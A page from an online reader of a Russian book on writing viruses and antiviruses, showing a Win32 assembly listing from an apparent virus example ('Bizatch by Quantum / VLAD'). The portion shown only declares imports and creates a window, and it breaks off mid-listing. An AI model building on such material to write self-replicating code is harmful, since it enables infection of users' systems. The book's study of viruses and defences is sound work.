Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 23

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ style="font-size:15px;">      include win32.inc ;некоторые 32−битные константы и структуры

      L equ <LARGE>

      ;Определим внешние функции, к которым будет подключаться вирус

      extrn BeginPaint:PROC

      extrn CreateWindowExA:PROC

      extrn DefWindowProcA:PROC

      extrn DispatchMessageA:PROC

      extrn EndPaint:PROC

      extrn ExitProcess:PROC

      extrn FindWindowA:PROC

      extrn GetMessageA:PROC

      extrn GetModuleHandleA:PROC

      extrn GetStockObject:PROC

      extrn InvalidateRect:PROC

      extrn LoadCursorA:PROC

      extrn LoadIconA:PROC

      extrn MessageBeep:PROC

      extrn PostQuitMessage:PROC

      extrn RegisterClassA:PROC

      extrn ShowWindow:PROC

      extrn SetWindowPos:PROC

      extrn TextOutA:PROC

      extrn TranslateMessage:PROC

      extrn UpdateWindow:PROC

      ;Для поддержки Unicode Win32 интерпретирует некоторые функции

      ;для ANSI или расширенного набора символов.

      ;В качестве примера рассмотрим ANSI

      CreateWindowEx equ <CreateWindowExA>

      DefWindowProc equ <DefWindowProcA>

      DispatchMessage equ <DispatchMessageA>

      FindWindow equ <FindWindowA>

      GetMessage equ <GetMessageA>

      GetModuleHandle equ <GetModuleHandleA>

      LoadCursor equ <LoadCursorA>

      LoadIcon equ <LoadIconA>

      MessageBox equ <MessageBoxA>

      RegisterClass equ <RegisterClassA>

      TextOut equ <TextOutA>

      .data

      newhwnd dd 0

      lppaint PAINTSTRUCT <?>

      msg MSGSTRUCT <?>

      wc WNDCLASS <?>

      mbx_count dd 0

      hInst dd 0

      szTitleName db ”Bizatch by Quantum / VLAD activated”

      zero db 0

      szAlternate db ”more than once”,0

      szClassName db ”ASMCLASS32”,0

      ;Сообщение, выводимое в окне

      szPaint db ”Left Button pressed:”

      s_num db ”00000000h times.”,0

      ;Размер сообщения

      MSG_L EQU ($−offset szPaint)−1

      .code

      ;Сюда обычно передается управление от загрузчика.

      start:

      ;Получим HMODULE

      push L 0

      call GetModuleHandle

      mov [hInst],eax

      push L 0

      push offset szClassName

      call FindWindow

      or eax,eax

      jz reg_class

      ;Пространство для модификации строки заголовка

      mov [zero],” ”

      reg_class:

      ;Инициализируем структуру WndClass

      mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

      mov [wc.clsLpfnWndProc],offset WndProc

      mov [wc.clsCbClsExtra],0

      mov [wc.clsCbWndExtra],0

      mov eax,[hInst]

      mov [wc.clsHInstance], eax

      ;Загружаем значок

      push L IDI_APPLICATION

      push L 0

      call LoadIcon

      mov [wc.clsHIcon], eax

      ;Загружаем курсор

      push L IDC_ARROW

      push L 0

      call LoadCursor

      mov [wc.clsHCursor], eax

      ;Инициализируем оставшиеся поля структуры WndClass

      mov [wc.clsHbrBackground],COLOR_WINDOW+1

      mov dword ptr [wc.clsLpszMenuName],0

      mov dword ptr [wc.clsLpszClassName],offset szClassName

      ;Регистрируем класс окна

      push offset wc

      call RegisterClass

      ;Создаем окно

      push L 0 ;lpParam

      push [hInst] ;hInstance

      push СКАЧАТЬ